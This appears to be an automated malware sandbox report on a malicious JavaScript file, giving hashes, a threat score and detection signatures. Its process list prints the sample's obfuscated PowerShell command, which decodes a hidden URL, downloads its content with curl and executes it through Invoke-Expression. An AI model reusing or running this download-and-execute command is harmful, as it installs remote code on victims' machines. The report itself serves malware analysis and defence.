Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
02-10-2024 01:30
General
-
Target
ab04d2892449c182c902028ab9a800f44daae107d9686a6f38c964d958246348.js
-
Size
154KB
-
MD5
14ad0b2a30e827ff25a2fddc34eec47b
-
SHA1
e634786a2e5cf2483e7cbe059d86d80a64f8eade
-
SHA256
ab04d2892449c182c902028ab9a800f44daae107d9686a6f38c964d958246348
-
SHA512
7e585a68f09129528f44568d15f995c2c61590607886a849b88d12adb669d8ca3bfcbd9fae9c94ba0e32ddbce073115342d76e4c00e01b7a993bdaba2a21176c
-
SSDEEP
3072:n5jme1Gzd9l/8geIJzPYL0d/X9rENLyYu4tPbPpf2M3RC/hifZk:VWzVkg3W0/5ENLy8bpb3RC/hifZk
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ab04d2892449c182c902028ab9a800f44daae107d9686a6f38c964d958246348.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $vcoitv='ur';new-alias press c$($vcoitv)l;$mjzjnbn=(1294,1296,1313,1303,1309,1302,1309,1308,1305,1237,1307,1302,1303,1238,1240,1237,1303,1295,1303,1254,1306,1252,1300,1296,1301,1307,1306,1240,1242);$dzvgurdj=('bronx','get-cmdlet');$qymeeapiqsdg=$mjzjnbn;foreach($unqxdcdegz in $qymeeapiqsdg){$raqilzu=$unqxdcdegz;$imzdcc=$imzdcc+[char]($raqilzu-1191);$thswxc=$imzdcc;$iztepekrosrtj=$thswxc};$vnfmdtnps[2]=$iztepekrosrtj;$xvsitcjhihwy='rl';$vpiqyfvxgdx=1;.$([char](9992-9887)+'e'+'x')(press -useb $iztepekrosrtj)1⤵
- Process spawned unexpected child process